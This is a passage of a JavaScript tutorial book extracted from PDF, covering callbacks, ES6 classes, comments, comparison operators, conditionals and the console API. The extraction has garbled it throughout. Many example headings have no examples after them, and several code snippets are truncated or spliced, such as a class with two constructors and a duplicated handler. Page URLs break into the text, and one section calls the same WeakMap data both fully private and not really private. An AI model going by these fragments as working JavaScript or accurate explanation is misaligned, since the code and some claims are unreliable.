console.log('Value was unexpected/exceptional');
}
// Outputs:
// "Value was expected"
// "Value was unexpected/exceptional"
Code execution in compare() above has two possible branches: success when the expected and
actual values are the same, and error when they are different. This is especially useful when
control flow should branch after some asynchronous instruction:
// Outputs:
// "Doing something else"
// "Value was expected"
// "Value was unexpected/exceptional"
It should be noted, multiple callbacks do not have to be mutually exclusive – both methods could
be called. Similarly, the compare() could be written with callbacks that are optional (by using a noop
as the default value - see Null Object pattern).
Solutions
• Use bind
bind effectively generates a new function that sets this to whatever was passed to bind then
https://riptutorial.com/ 130
www.dbooks.org
calls the original function.
Often you'd like to call a member function, ideally passing any arguments that were passed to the
event on to the function.
Solutions:
• Use bind
SomeClass.prototype.handleClick = function(event) {
console.log(event.type, this.msg);
};
SomeClass.prototype.handleClick = function(event) {
console.log(event.type, this.msg);
};
• For DOM event listeners in particular you can implement the EventListener interface
https://riptutorial.com/ 131
SomeClass.prototype.handleEvent = function(event) {
var fn = this[event.type];
if (fn) {
fn.apply(this, arguments);
}
};
SomeClass.prototype.click = function(event) {
console.log(this.msg);
};
() => {}
[1,2,3,4,5].forEach(function(x){
console.log(x);
}
https://riptutorial.com/ 132
www.dbooks.org
Chapter 19: Classes
Syntax
• class Foo {}
• class Foo extends Bar {}
• class Foo { constructor() {} }
• class Foo { myMethod() {} }
• class Foo { get myProperty() {} }
• class Foo { set myProperty(newValue) {} }
• class Foo { static myStaticMethod() {} }
• class Foo { static get myStaticProperty() {} }
• const Foo = class Foo {};
• const Foo = class {};
Remarks
class support was only added to JavaScript as part of the 2015 es6 standard.
Javascript classes are syntactical sugar over JavaScript's already existing prototype-based
inheritance. This new syntax does not introduce a new object-oriented inheritance model to
JavaScript, just a simpler way to deal with objects and inheritance. A class declaration is
essentially a shorthand for manually defining a constructor function and adding properties to the
prototype of the constructor. An important difference is that functions can be called directly
(without the new keyword), whereas a class called directly will throw an exception.
class someClass {
constructor () {}
someMethod () {}
}
console.log(typeof someClass);
console.log(someClass);
console.log(someClass === someClass.prototype.constructor);
console.log(someClass.prototype.someMethod);
// Output:
// function
// function someClass() { "use strict"; }
// true
// function () { "use strict"; }
If you are using an earlier version of JavaScript you will need a transpiler like babel or google-
closure-compiler in order to compile the code into a version that the target platform will be able to
understand.
Examples
https://riptutorial.com/ 133
Class Constructor
The fundamental part of most classes is its constructor, which sets up each instance's initial state
and handles any parameters that were passed when calling new.
It's defined in a class block as though you're defining a method named constructor, though it's
actually handled as a special case.
class MyClass {
constructor(option) {
console.log(`Creating instance using ${option} option.`);
this.option = option;
}
}
Example usage:
const foo = new MyClass('speedy'); // logs: "Creating instance using speedy option"
A small thing to note is that a class constructor cannot be made static via the static keyword, as
described below for other methods.
Static Methods
Static methods and properties are defined on the class/constructor itself, not on instance objects.
These are specified in a class definition by using the static keyword.
class MyClass {
static myStaticMethod() {
return 'Hello';
}
We can see that static properties are not defined on object instances:
https://riptutorial.com/ 134
www.dbooks.org
Getters and Setters
Getters and setters allow you to define custom behaviour for reading and writing a given property
on your class. To the user, they appear the same as any typical property. However, internally a
custom function you provide is used to determine the value when the property is accessed (the
getter), and to preform any necessary changes when the property is assigned (the setter).
In a class definition, a getter is written like a no-argument method prefixed by the get keyword. A
setter is similar, except that it accepts one argument (the new value being assigned) and the set
keyword is used instead.
Here's an example class which provides a getter and setter for its .name property. Each time it's
assigned, we'll record the new name in an internal .names_ array. Each time it's accessed, we'll
return the latest name.
class MyClass {
constructor() {
this.names_ = [];
}
set name(value) {
this.names_.push(value);
}
get name() {
return this.names_[this.names_.length - 1];
}
}
If you only define a setter, attempting to access the property will always return undefined.
If you only define a getter, attempting to assign the property will have no effect.
https://riptutorial.com/ 135
};
classInstance.prop = 10;
console.log(classInstance.prop); // logs: 5
Class Inheritance
Inheritance works just like it does in other object-oriented languages: methods defined on the
superclass are accessible in the extending subclass.
If the subclass declares its own constructor then it must invoke the parents constructor via super()
before it can access this.
class SuperClass {
constructor() {
this.logger = console.log;
}
log() {
this.logger(`Hello ${this.name}`);
}
constructor() {
super();
this.name = 'subclass';
}
Private Members
JavaScript does not technically support private members as a language feature. Privacy -
described by Douglas Crockford - gets emulated instead via closures (preserved function scope)
that will be generated each with every instantiation call of a constructor function.
The Queue example demonstrates how, with constructor functions, local state can be preserved
and made accessible too via privileged methods.
class Queue {
https://riptutorial.com/ 136
www.dbooks.org
this.enqueue = function (type) { // - privileged public method
// accessing the local state
list.push(type); // "writing" alike.
return type;
};
this.dequeue = function () { // - privileged public method
// accessing the local state
return list.shift(); // "reading / writing" alike.
};
}
}
Thus both of a Queue type's own methods enqueue and dequeue (see Object.keys(q)) still do have
access to list that continues to live in its enclosing scope that, at construction time, has been
preserved.
Making use of this pattern - emulating private members via privileged public methods - one should
keep in mind that, with every instance, additional memory will be consumed for every own property
method (for it is code that can't be shared/reused). The same is true for the amount/size of state
that is going to be stored within such a closure.
There is also the ability to evaluate expressions when naming methods similar to how you can
access an objects' properties with []. This can be useful for having dynamic property names,
however is often used in conjunction with Symbols.
class Car {
constructor(make, model) {
this.make = make;
this.model = model;
}
https://riptutorial.com/ 137
}
// this one is just a string, and could also be defined with simply add()
["add"](a, b) {
return a + b;
}
Methods
Methods can be defined in classes to perform a function and optionally return a result.
They can receive arguments from the caller.
class Something {
constructor(data) {
this.data = data
}
doSomething(text) {
return {
data: this.data,
text
}
}
}
One of the most common obstacles using classes is finding the proper approach to handle private
states. There are 4 common solutions for handling private states:
Using Symbols
Symbols are new primitive type introduced on in ES2015, as defined at MDN
A symbol is a unique and immutable data type that may be used as an identifier for
object properties.
https://riptutorial.com/ 138
www.dbooks.org
As such, they won't be revealed using for var in or Object.keys.
const topSecret = Symbol('topSecret'); // our private key; will only be accessible on the
scope of the module file
export class SecretAgent{
constructor(secret){
this[topSecret] = secret; // we have access to the symbol key (closure)
this.coverStory = 'just a simple gardner';
this.doMission = () => {
figureWhatToDo(topSecret[topSecret]); // we have access to topSecret
};
}
}
Because symbols are unique, we must have reference to the original symbol to access the private
property.
But it's not 100% private; let's break that agent down! We can use the
Object.getOwnPropertySymbols method to get the object symbols.
Using WeakMaps
WeakMap is a new type of object that have been added for es6.
As defined on MDN
The WeakMap object is a collection of key/value pairs in which the keys are weakly
referenced. The keys must be objects and the values can be arbitrary values.
The key in a WeakMap is held weakly. What this means is that, if there are no other
strong references to the key, the entire entry will be removed from the WeakMap by the
garbage collector.
The idea is to use the WeakMap, as a static map for the whole class, to hold each instance as key
and keep the private data as a value for that instance key.
Thus only inside the class will we have access to the WeakMap collection.
https://riptutorial.com/ 139
Let's give our agent a try, with WeakMap:
const topSecret = new WeakMap(); // will hold all private data of all instances.
export class SecretAgent{
constructor(secret){
topSecret.set(this,secret); // we use this, as the key, to set it on our instance
private data
this.coverStory = 'just a simple gardner';
this.doMission = () => {
figureWhatToDo(topSecret.get(this)); // we have access to topSecret
};
}
}
Because the const topSecret is defined inside our module closure, and since we didn't bind it to
our instance properties, this approach is totally private, and we can't reach the agent topSecret.
In this example as well the data is 100% private and can't be reached outside the class, so our
agent is safe.
Note that for this approach the data isn't really private.
https://riptutorial.com/ 140
www.dbooks.org
ClassDeclaration's Name is bound in different ways in different scopes -
class Foo {
// Foo inside this block is a const binding
}
// Foo here is a let binding
For example,
class A {
foo() {
A = null; // will throw at runtime as A inside the class is a `const` binding
}
}
A = null; // will NOT throw as A here is a `let` binding
function A() {
A = null; // works
}
A.prototype.foo = function foo() {
A = null; // works
}
A = null; // works
https://riptutorial.com/ 141
Chapter 20: Comments
Syntax
• // Single line comment (continues until line break)
• /* Multi line comment */
• <!-- Single line comment starting with the opening HTML comment segment "<!--" (continues
until line break)
• --> Single line comment starting with the closing HTML comment segment "-->" (continues
until line break)
Examples
Using Comments
To add annotations, hints, or exclude some code from being executed JavaScript provides two
ways of commenting code lines
Everything after the // until the end of the line is excluded from execution.
Everything between the opening /* and the closing */ is excluded from execution, even if the
opening and closing are on different lines.
/*
Gets the element from Event coordinates.
Use like:
var clickedEl = someEl.addEventListener("click", elementAt, false);
*/
function elementAt( event ) {
return document.elementFromPoint(event.clientX, event.clientY);
}
/* TODO: write more useful comments! */
HTML comments (optionally preceded by whitespace) will cause code (on the same line) to be
https://riptutorial.com/ 142
www.dbooks.org
ignored by the browser also, though this is considered bad practice.
Note: the JavaScript interpreter ignores the closing characters of HTML comments (-->
) here.
This technique can be observed in legacy code to hide JavaScript from browsers that didn't
support it:
An HTML closing comment can also be used in JavaScript (independent of an opening comment)
at the beginning of a line (optionally preceded by whitespace) in which case it too causes the rest
of the line to be ignored:
These facts have also been exploited to allow a page to call itself first as HTML and secondly as
JavaScript. For example:
<!--
self.postMessage('reached JS "file"');
/*
-->
<!DOCTYPE html>
<script>
var w1 = new Worker('#1');
w1.onmessage = function (e) {
console.log(e.data); // 'reached JS "file"
};
</script>
<!--
*/
-->
When run a HTML, all the multiline text between the <!-- and --> comments are ignored, so the
JavaScript contained therein is ignored when run as HTML.
As JavaScript, however, while the lines beginning with <!-- and --> are ignored, their effect is not
to escape over multiple lines, so the lines following them (e.g., self.postMessage(...) will not be
ignored when run as JavaScript, at least until they reach a JavaScript comment, marked by /* and
*/
https://riptutorial.com/ 143
. Such JavaScript comments are used in the above example to ignore the remaining HTML text
(until the --> which is also ignored as JavaScript).
https://riptutorial.com/ 144
www.dbooks.org
Chapter 21: Comparison Operations
Remarks
When using boolean coercion, the following values are considered "falsy":
• false
• 0
• "" (empty string)
• null
• undefined
• NaN (not a number, e.g. 0/0)
• document.all¹ (browser context)
Examples
Logic Operators with Booleans
var x = true,
y = false;
AND
This operator will return true if both of the expressions evaluate to true. This boolean operator will
employ short-circuiting and will not evaluate y if x evaluates to false.
x && y;
OR
This operator will return true if one of the two expressions evaluate to true. This boolean operator
will employ short-circuiting and y will not be evaluated if x evaluates to true.
x || y;
NOT
https://riptutorial.com/ 145
This operator will return false if the expression on the right evaluates to true, and return true if the
expression on the right evaluates to false.
!x;
Operands of the abstract equality operator are compared after being converted to a common type.
How this conversion happens is based on the specification of the operator:
Examples:
1 == 1; // true
1 == true; // true (operand converted to number: true => 1)
1 == '1'; // true (operand converted to number: '1' => 1 )
1 == '1.00'; // true
1 == '1.00000000001'; // false
1 == '1.00000000000000001'; // true (true due to precision loss)
null == undefined; // true (spec #2)
1 == 2; // false
0 == false; // true
0 == undefined; // false
https://riptutorial.com/ 146
www.dbooks.org
0 == ""; // true
1 < 2 // true
2 <= 2 // true
3 >= 5 // false
true < false // false (implicitly converted to numbers, 1 > 0)
When both operands are strings, they are compared lexicographically (according to alphabetical
order):
When one operand is a string and the other is a number, the string is converted to a number
before comparison:
When the string is non-numeric, numeric conversion returns NaN (not-a-number). Comparing with
NaN always returns false:
But be careful when comparing a numeric value with null, undefined or empty strings:
When one operand is a object and the other is a number, the object is converted to a number
before comparison.So null is particular case because Number(null);//0
Inequality
https://riptutorial.com/ 147
Will return true if the operands aren't equal.
The javascript engine will try and convert both operands to matching types if they aren't of the
same type. Note: if the two operands have different internal references in memory, then false will
be returned.
Sample:
1 != '1' // false
1 != 2 // true
In the sample above, 1 != '1' is false because, a primitive number type is being compared to a
char value. Therefore, the Javascript engine doesn't care about the datatype of the R.H.S value.
Operator: !== is the inverse of the === operator. Will return true if the operands are not equal or if
their types do not match.
Example:
Logical OR (||), reading left to right, will evaluate to the first truthy value. If no truthy value is
found, the last value is returned.
Logical AND (&&), reading left to right, will evaluate to the first falsy value. If no falsey value is
found, the last value is returned.
This trick can be used, for example, to set a default value to a function argument (prior to ES6).
https://riptutorial.com/ 148
www.dbooks.org
}
Just keep in mind that for arguments, 0 and (to a lesser extent) the empty string are also often
valid values that should be able to be explicitly passed and override a default, which, with this
pattern, they won’t (because they are falsy).
null and undefined share abstract equality == but not strict equality ===,
• is a property of the global Object, usually immutable in the global scope. This
undefined
means anywhere you can define an identifier other than in the global namespace could hide
undefined from that scope (although things can still be undefined)
• null is a word literal, so it's meaning can never be changed and attempting to do so will
throw an Error.
https://riptutorial.com/ 149
false == null // false
false === undefined // false
false === null // false
Using undefined
• If the current scope can't be trusted, use something which evaluates to undefined, for
example void 0;.
• If undefined is shadowed by another value, it's just as bad as shadowing Array or Number.
• Avoid setting something as undefined. If you want to remove a property bar from an Object
foo, delete foo.bar; instead.
• Existence testing identifier foo against undefined could throw a Reference Error, use typeof
foo against "undefined" instead.
NaN("Not a Number") is a special value defined by the IEEE Standard for Floating-Point Arithmetic,
which is used when a non-numeric value is provided but a number is expected (1 * "two"), or
when a calculation doesn't have a valid number result (Math.sqrt(-1)).
Any equality or relational comparisons with NaN returns false, even comparing it with itself.
Because, NaN is supposed to denote the result of a nonsensical computation, and as such, it isn’t
equal to the result of any other nonsensical computations.
You can test a value or expression for NaN by using the function Number.isNaN():
https://riptutorial.com/ 150
www.dbooks.org
Number.isNaN(NaN); // true
Number.isNaN(0 / 0); // true
Number.isNaN('str' - 12); // true
Number.isNaN(24); // false
Number.isNaN('24'); // false
Number.isNaN(1 / 0); // false
Number.isNaN(Infinity); // false
Number.isNaN('str'); // false
Number.isNaN(undefined); // false
Number.isNaN({}); // false
value !== value; // true for NaN, false for any other value
By contrast, the global function isNaN() returns true not only for NaN, but also for any value or
expression that cannot be coerced into a number:
isNaN(NaN); // true
isNaN(0 / 0); // true
isNaN('str' - 12); // true
isNaN(24); // false
isNaN('24'); // false
isNaN(Infinity); // false
isNaN('str'); // true
isNaN(undefined); // true
isNaN({}); // true
ECMAScript defines a “sameness” algorithm called SameValue which, since ECMAScript 6, can be
invoked with Object.is. Unlike the == and === comparison, using Object.is() will treat NaN as
identical with itself (and -0 as not identical with +0):
You can use the following polyfill for Object.is() (from MDN):
https://riptutorial.com/ 151
if (!Object.is) {
Object.is = function(x, y) {
// SameValue algorithm
if (x === y) { // Steps 1-5, 7-10
// Steps 6.b-6.e: +0 != -0
return x !== 0 || 1 / x === 1 / y;
} else {
// Step 6.a: NaN == NaN
return x !== x && y !== y;
}
};
}
Points to note
NaN itself is a number, meaning that it does not equal to the string "NaN", and most importantly
(though perhaps unintuitively):
The and-operator (&&) and the or-operator (||) employ short-circuiting to prevent unnecessary
work if the outcome of the operation does not change with the extra work.
In x && y, y will not be evaluated if x evaluates to false, because the whole expression is
guaranteed to be false.
Example 1
Output:
https://riptutorial.com/ 152
www.dbooks.org
'T'
'F'
Example 2
Output:
'F'
Example 3
Output:
'T'
Example 4
Output:
'F'
'T'
Line A: if you reverse the order the first conditional statement will prevent the error on the second
by not executing it if it would throw the error
if(typeof obj === "object" && obj.property){}; // safe option but slower
The || operator can be used to select either a "truthy" value, or the default value.
https://riptutorial.com/ 153
For example, this can be used to ensure that a nullable value is converted to a non-nullable value:
function myMethod(cb) {
// This can be simplified
if (cb) {
cb();
}
// To this
cb && cb();
}
Of course, the test above does not validate that cb is in fact a function and not just an Object/Array/
String/Number.
The Problem
The abstract equality and inequality operators (== and !=) convert their operands if the operand
types do not match. This type coercion is a common source of confusion about the results of these
operators, in particular, these operators aren't always transitive as one would expect.
"" == 0; // true A
0 == "0"; // true A
"" == "0"; // false B
false == 0; // true
false == "0"; // true
"" != 0; // false A
0 != "0"; // false A
"" != "0"; // true B
https://riptutorial.com/ 154
www.dbooks.org
false != 0; // false
false != "0"; // false
The results start to make sense if you consider how JavaScript converts empty strings to numbers.
Number(""); // 0
Number("0"); // 0
Number(false); // 0
The Solution
In the statement false B, both the operands are strings ("" and "0"), hence there will be no type
conversion and since "" and "0" are not the same value, "" == "0" is false as expected.
One way to eliminate unexpected behavior here is making sure that you always compare
operands of the same type. For example, if you want the results of numerical comparison use
explicit conversion:
Side-note: Number("0") and new Number("0") isn't the same thing! While the former performs a type
conversion, the latter will create a new object. Objects are compared by reference and not by
value which explains the results below.
Finally, you have the option to use strict equality and inequality operators which will not perform
any implicit type conversions.
https://riptutorial.com/ 155
Empty Array
/* ToNumber(ToPrimitive([])) == ToNumber(false) */
[] == false; // true
Beware though, all objects are truthy and Array is an instance of Object:
SameValue
It returns true if both operands belong to the same Type and are the same value.
You can use this comparison algorithm via Object.is (ECMAScript 6).
Examples:
SameValueZero
It behaves like SameValue, but considers +0 and -0 to be equal.
https://riptutorial.com/ 156
www.dbooks.org
You can use this comparison algorithm via Array.prototype.includes (ECMAScript 7).
Examples:
[1].includes(1); // true
[+0].includes(-0); // true
[NaN].includes(NaN); // true
[true].includes("true"); // false
[false].includes(0); // false
[1].includes("1"); // false
[null].includes(undefined); // false
[[]].includes([]); // false
You can use this comparison algorithm via the === operator (ECMAScript 3).
There is also the !== operator (ECMAScript 3), which negates the result of ===.
Examples:
1 === 1; // true
+0 === -0; // true
NaN === NaN; // false
true === "true"; // false
false === 0; // false
1 === "1"; // false
null === undefined; // false
[] === []; // false
• Symmetry: x === y is true if, and only if, y === xistrue, for any valuesxandy`.
• Transitivity: If x === y and y === z are true, then x === z is also true, for any values x, y and z.
https://riptutorial.com/ 157
Abstract Equality Comparison
If both operands belong to the same Type, it behaves like the Strict Equality Comparison.
If there was a coercion, the coerced values are compared recursively. Otherwise the algorithm
returns false.
You can use this comparison algorithm via the == operator (ECMAScript 1).
There is also the != operator (ECMAScript 1), which negates the result of ==.
Examples:
1 == 1; // true
+0 == -0; // true
NaN == NaN; // false
true == "true"; // false
false == 0; // true
1 == "1"; // true
null == undefined; // true
[] == []; // false
• Symmetry: x == y is true if, and only if, y == x is true, for any values x and y.
You can group multiple boolean logic statements within parenthesis in order to create a more
complex logic evaluation, especially useful in if statements.
if ((age >= 18 && height >= 5.11) || (status === 'royalty' && hasInvitation)) {
console.log('You can enter our club');
}
We could also move the grouped logic to variables to make the statement a bit shorter and
descriptive:
https://riptutorial.com/ 158
www.dbooks.org
var isLegal = age >= 18;
var tall = height >= 5.11;
var suitable = isLegal && tall;
var isRoyalty = status === 'royalty';
var specialCase = isRoyalty && hasInvitation;
var canEnterOurBar = suitable || specialCase;
Notice that in this particular example (and many others), grouping the statements with parenthesis
works the same as if we removed them, just follow a linear logic evaluation and you'll find yourself
with the same result. I do prefer using parenthesis as it allows me to understand clearer what I
intended and might prevent for logic mistakes.
Beware that numbers can accidentally be converted to strings or NaN (Not a Number).
JavaScript is loosely typed. A variable can contain different data types, and a variable can change
its data type:
Subtracting a string from a string, does not generate an error but returns NaN (Not a Number):
== Equal i == 0
!= Not Equal i != 5
https://riptutorial.com/ 159
Operator Comparison Example
A bit field is a variable that holds various boolean states as individual bits. A bit on would represent
true, and off would be false. In the past bit fields were routinely used as they saved memory and
reduced processing load. Though the need to use bit field is no longer so important they do offer
some benefits that can simplify many processing tasks.
For example user input. When getting input from a keyboard's direction keys up, down, left,right
you can encode the various keys into a single variable with each direction assigned a bit.
To turn on a bit use bitwise or | and the value corresponding to the bit. So if you wish to set the
2nd bit bitField |= 0b10 will turn it on. If you wish to turn a bit off use bitwise and & with a value
that has all by the required bit on. Using 4 bits and turning the 2nd bit off bitfield &= 0b1101;
You may say the above example seems a lot more complex than assigning the various key states
to a array. Yes It is a little more complex to set but the advantage comes when interrogating the
state.
https://riptutorial.com/ 160
www.dbooks.org
// as bit field
if(!bitfield) // no keys are on
You can then quickly test for many various keyboard states
The keyboard input is just one example. Bitfields are useful when you have various states that
must in combination be acted on. Javascript can use upto 32 bits for a bit field. Using them can
offer significant performance increases. They are worth being familiar with.
https://riptutorial.com/ 161
Chapter 22: Conditions
Introduction
Conditional expressions, involving keywords such as if and else, provide JavaScript programs with
the ability to perform different actions depending on a Boolean condition: true or false. This section
covers the use of JavaScript conditionals, Boolean logic, and ternary statements.
Syntax
• if (condition) statement;
• if (condition) statement_1, statement_2, ..., statement_n;
• if (condition) {
statement
}
• if (condition) {
statement_1;
statement_2;
...
statement_n;
}
• if (condition) {
statement
} else {
statement
}
• if (condition) {
statement
} else if (condition) {
statement
} else {
statement
}
• switch (expression) {
case value1:
statement
[break;]
case value2:
statement
[break;]
case valueN:
statement
[break;]
default:
https://riptutorial.com/ 162
www.dbooks.org
statement
[break;]
}
• condition ? value_for_true : value_for_false;
Remarks
Conditions can break normal program flow by executing code based on the value of an
expression. In JavaScript, this means using if, else if and else statements and ternary operators.
Examples
If / Else If / Else Control
var i = 0;
if (i < 1) {
console.log("i is smaller than 1");
}
The condition i < 1 is evaluated, and if it evaluates to true the block that follows is executed. If it
evaluates to false, the block is skipped.
An if condition can be expanded with an else block. The condition is checked once as above, and
if it evaluates to false a secondary block will be executed (which would be skipped if the condition
were true). An example:
if (i < 1) {
console.log("i is smaller than 1");
} else {
console.log("i was not smaller than 1");
}
Supposing the else block contains nothing but another if block (with optionally an else block) like
this:
if (i < 1) {
console.log("i is smaller than 1");
} else {
if (i < 2) {
console.log("i is smaller than 2");
} else {
console.log("none of the previous conditions was true");
}
}
Then there is also a different way to write this which reduces nesting:
https://riptutorial.com/ 163
if (i < 1) {
console.log("i is smaller than 1");
} else if (i < 2) {
console.log("i is smaller than 2");
} else {
console.log("none of the previous conditions was true");
}
• If any one condition evaluated to true, no other condition in that chain of blocks will be
evaluated, and all corresponding blocks (including the else block) will not be executed.
• The number of else if parts is practically unlimited. The last example above only contains
one, but you can have as many as you like.
• The condition inside an if statement can be anything that can be coerced to a boolean
value, see the topic on boolean logic for more details;
• The if-else-if ladder exits at the first success. That is, in the example above, if the value of
i is 0.5 then the first branch is executed. If the conditions overlap, the first criteria occurring
in the flow of execution is executed. The other condition, which could also be true is ignored.
• If you have only one statement, the braces around that statement are technically optional,
e.g this is fine:
if (i < 1)
console.log("i is smaller than 1");
If you want to execute multiple statements inside an if block, then the curly braces around
them are mandatory. Only using indentation isn't enough. For example, the following code:
if (i < 1)
console.log("i is smaller than 1");
console.log("this will run REGARDLESS of the condition"); // Warning, see text!
is equivalent to:
if (i < 1) {
console.log("i is smaller than 1");
}
console.log("this will run REGARDLESS of the condition");
Switch statement
Switch statements compare the value of an expression against 1 or more values and executes
https://riptutorial.com/ 164
www.dbooks.org
different sections of code based on that comparison.
var value = 1;
switch (value) {
case 1:
console.log('I will always run');
break;
case 2:
console.log('I will never run');
break;
}
The break statement "breaks" out of the switch statement and ensures no more code within the
switch statement is executed. This is how sections are defined and allows the user to make "fall
through" cases.
Warning: lack of a break or return statement for each case means the program will
continue to evaluate the next case, even if the case criteria is unmet!
switch (value) {
case 1:
console.log('I will only run if value === 1');
// Here, the code "falls through" and will run the code under case 2
case 2:
console.log('I will run if value === 1 or value === 2');
break;
case 3:
console.log('I will only run if value === 3');
break;
}
The last case is the default case. This one will run if no other matches were made.
It should be noted that a case expression can be any kind of expression. This means you can use
comparisons, function calls, etc. as case values.
function john() {
return 'John';
}
function jacob() {
return 'Jacob';
}
https://riptutorial.com/ 165
switch (name) {
case john(): // Compare name with the return value of john() (name == "John")
console.log('I will run if name === "John"');
break;
case 'Ja' + 'ne': // Concatenate the strings together then compare (name == "Jane")
console.log('I will run if name === "Jane"');
break;
case john() + ' ' + jacob() + ' Jingleheimer Schmidt':
console.log('His name is equal to name too!');
break;
}
var x = "c"
switch (x) {
case "a":
case "b":
case "c":
console.log("Either a, b, or c was selected.");
break;
case "d":
console.log("Only d was selected.");
break;
default:
console.log("No case was matched.");
break; // precautionary break if case order changes
}
Ternary operators
Can be used to shorten if/else operations. This comes in handy for returning a value quickly (i.e. in
order to assign it to another variable).
For example:
In this case, result gets the 'cute' value, because the value of animal is 'kitty'. If animal had
another value, result would get the 'still nice' value.
Compare this to what the code would like with if/else conditions.
https://riptutorial.com/ 166
www.dbooks.org
} else {
result = 'still nice';
}
The if or else conditions may have several operations. In this case the operator returns the result
of the last expression.
var a = 0;
var str = 'not a';
var b = '';
b = a === 0 ? (a = 1, str += ' test') : (a = 2);
Because a was equal to 0, it becomes 1, and str becomes 'not a test'. The operation which
involved str was the last, so b receives the result of the operation, which is the value contained in
str, i.e. 'not a test'.
Ternary operators always expect else conditions, otherwise you'll get a syntax error. As a
workaround you could return a zero something similar in the else branch - this doesn't matter if
you aren't using the return value but just shortening (or attempting to shorten) the operation.
var a = 1;
a === 1 ? alert('Hey, it is 1!') : 0;
As you see, if (a === 1) alert('Hey, it is 1!'); would do the same thing. It would be just a char
longer, since it doesn't need an obligatory else condition. If an else condition was involved, the
ternary method would be much cleaner.
foo ? bar ? 1 : 2 : 3
foo ? (bar ? 1 : 2) : 3
if (foo) {
if (bar) {
1
} else {
2
}
} else {
3
}
https://riptutorial.com/ 167
Stylistically this should only be used with short variable names, as multi-line ternaries can
drastically decrease readability.
The only statements which cannot be used in ternaries are control statements. For example, you
cannot use return or break with ternaries. The following expression will be invalid.
Strategy
A strategy pattern can be used in Javascript in many cases to replace a switch statement. It is
especially helpful when the number of conditions is dynamic or very large. It allows the code for
each condition to be independent and separately testable.
Strategy object is simple an object with multiple functions, representing each separate condition.
Example:
const AnimalSays = {
dog () {
return 'woof';
},
cat () {
return 'meow';
},
lion () {
return 'roar';
},
default () {
return 'moo';
}
};
https://riptutorial.com/ 168
www.dbooks.org
function makeAnimalSpeak (animal) {
// Match the animal by type
const speak = AnimalSays[animal] || AnimalSays.default;
console.log(animal + ' says ' + speak());
}
Results:
In the last case, our default function handles any missing animals.
The Boolean operators || and && will "short circuit" and not evaluate the second parameter if the
first is true or false respectively. This can be used to write short conditionals like:
var x = 10
https://riptutorial.com/ 169
Chapter 23: Console
Introduction
A browser's debugging console or web console is generally used by developers to identify errors,
understand flow of execution, log data and for many other purpose at runtime. This information is
accessed through the console object.
Syntax
• void console.log(obj1 [, obj2, ..., objN]);
• void console.log(msg [, sub1, ..., subN]);
Parameters
Parameter Description
sub1 ...
JavaScript objects with which to replace substitution strings within msg.
subN
Remarks
The information displayed by a debugging/web console is made available through the multiple
methods of the console Javascript object that can be consulted through console.dir(console).
Besides the console.memory property, the methods displayed are generally the following (taken from
Chromium's output):
• assert
• clear
• count
• debug
• dir
• dirxml
• error
• group
• groupCollapsed
• groupEnd
• info
https://riptutorial.com/ 170
www.dbooks.org
• log
• markTimeline
• profile
• profileEnd
• table
• time
• timeEnd
• timeStamp
• timeline
• timelineEnd
• trace
• warn
Chrome
Opening the “Console” panel of Chrome’s DevTools:
○ Ctrl + Shift + J
○ Ctrl + Shift + I, then click on the “Web Console” tab or press ESC to toggle the console
on and off
○ F12, then click on the “Console” tab or press ESC to toggle the console on and off
Firefox
Opening the “Console” panel in Firefox’s Developer Tools:
○ Ctrl + Shift + K
○ Ctrl + Shift + I, then click on the “Web Console” tab or press ESC to toggle the console
on and off
○ F12, then click on the “Web Console” tab or press ESC to toggle the console on and off
https://riptutorial.com/ 171
• Mac OS: Cmd + Opt + K
Safari
Opening the “Console” panel in Safari’s Web Inspector you must first enable the develop menu in
Safari's Preferences
https://riptutorial.com/ 172
www.dbooks.org
https://riptutorial.com/ 173
console logs even if the developer window has been opened.
Using this second example will preclude use of other functions such as console.dir(obj) unless
that is specifically added.
Examples
Tabulating values - console.table()
In most environments, console.table() can be used to display objects and arrays in a tabular
format.
For example:
console.table(['Hello', 'world']);
displays like:
(index) value
0 "Hello"
1 "world"
displays like:
(index) value
"foo" "bar"
"bar" "baz"
var personArr = [ { "personId": 123, "name": "Jhon", "city": "Melbourne", "phoneNo": "1234567890"
}, { "personId": 124, "name": "Amelia", "city": "Sydney", "phoneNo": "1234567890" }, { "personId":
125, "name": "Emily", "city": "Perth", "phoneNo": "1234567890" }, { "personId": 126, "name":
"Abraham", "city": "Perth", "phoneNo": "1234567890" } ];
displays like:
https://riptutorial.com/ 174
www.dbooks.org
Including a stack trace when logging - console.trace()
function foo() {
console.trace('My log statement');
}
foo();
https://riptutorial.com/ 175
foo @ VM696:1
(anonymous function) @ (program):1
Note: Where available it's also useful to know that the same stack trace is accessible as a
property of the Error object. This can be useful for post-processing and gathering automated
feedback.
A browser's debugging console can be used in order to print simple messages. This debugging or
web console can be directly opened in the browser (F12 key in most browsers – see Remarks
below for further information) and the log method of the console Javascript object can be invoked
by typing the following:
console.log('My message');
Then, by pressing Enter, this will display My message in the debugging console.
console.log() can be called with any number of arguments and variables available in the current
scope. Multiple arguments will be printed in one line with a small space between them.
The log method will display the following in the debugging console:
Beside plain strings, console.log() can handle other types, like arrays, objects, dates, functions,
etc.:
Displays:
https://riptutorial.com/ 176
www.dbooks.org
Displays:
Certain types such as Date objects and functions may be displayed differently:
console.log(new Date(0));
console.log(function test(a, b) { return c; });
Displays:
• console.info – small informative icon () appears on the left side of the printed string(s) or
object(s).
• – small warning icon (!) appears on the left side. In some browsers, the
console.warn
background of the log is yellow.
• – small times icon (⊗) appears on the left side. In some browsers, the
console.error
background of the log is red.
• console.timeStamp – outputs the current time and a specified string, but is non-standard:
console.timeStamp('msg');
Displays:
00:00:00.001 msg
• console.trace – outputs the current stack trace or displays the same output as the log
method if invoked in the global scope.
function sec() {
first();
}
function first() {
console.trace();
}
sec();
https://riptutorial.com/ 177
Displays:
first
sec
(anonymous function)
The above image shows all the functions, with the exception of timeStamp, in Chrome version 56.
These methods behave similarly to the log method and in different debugging consoles may
render in different colors or formats.
In certain debuggers, the individual objects information can be further expanded by clicking the
printed text or a small triangle (►) which refers to the respective object
properties. These collapsing object properties can be open or closed on
log. See the console.dir for additional information on this
console.time() can be used to measure how long a task in your code takes to run.
Example 1:
console.time('response in');
alert('Click to continue');
console.timeEnd('response in');
https://riptutorial.com/ 178
www.dbooks.org
will output:
Example 2:
console.time('Loop time');
console.timeEnd('Loop time');
will output:
Counting - console.count()
console.count([obj]) places a counter on the object's value provided as argument. Each time this
method is invoked, the counter is increased (with the exception of the empty string ''). A label
together with a number is displayed in the debugging console according to the following format:
[label]: X
label represents the value of the object passed as argument and X represents the counter's value.
console.count(1);
console.count('2');
console.count('');
Displays:
1: 1
2: 1
: 1
1: 2
https://riptutorial.com/ 179
2: 2
: 1
console.count(42.3);
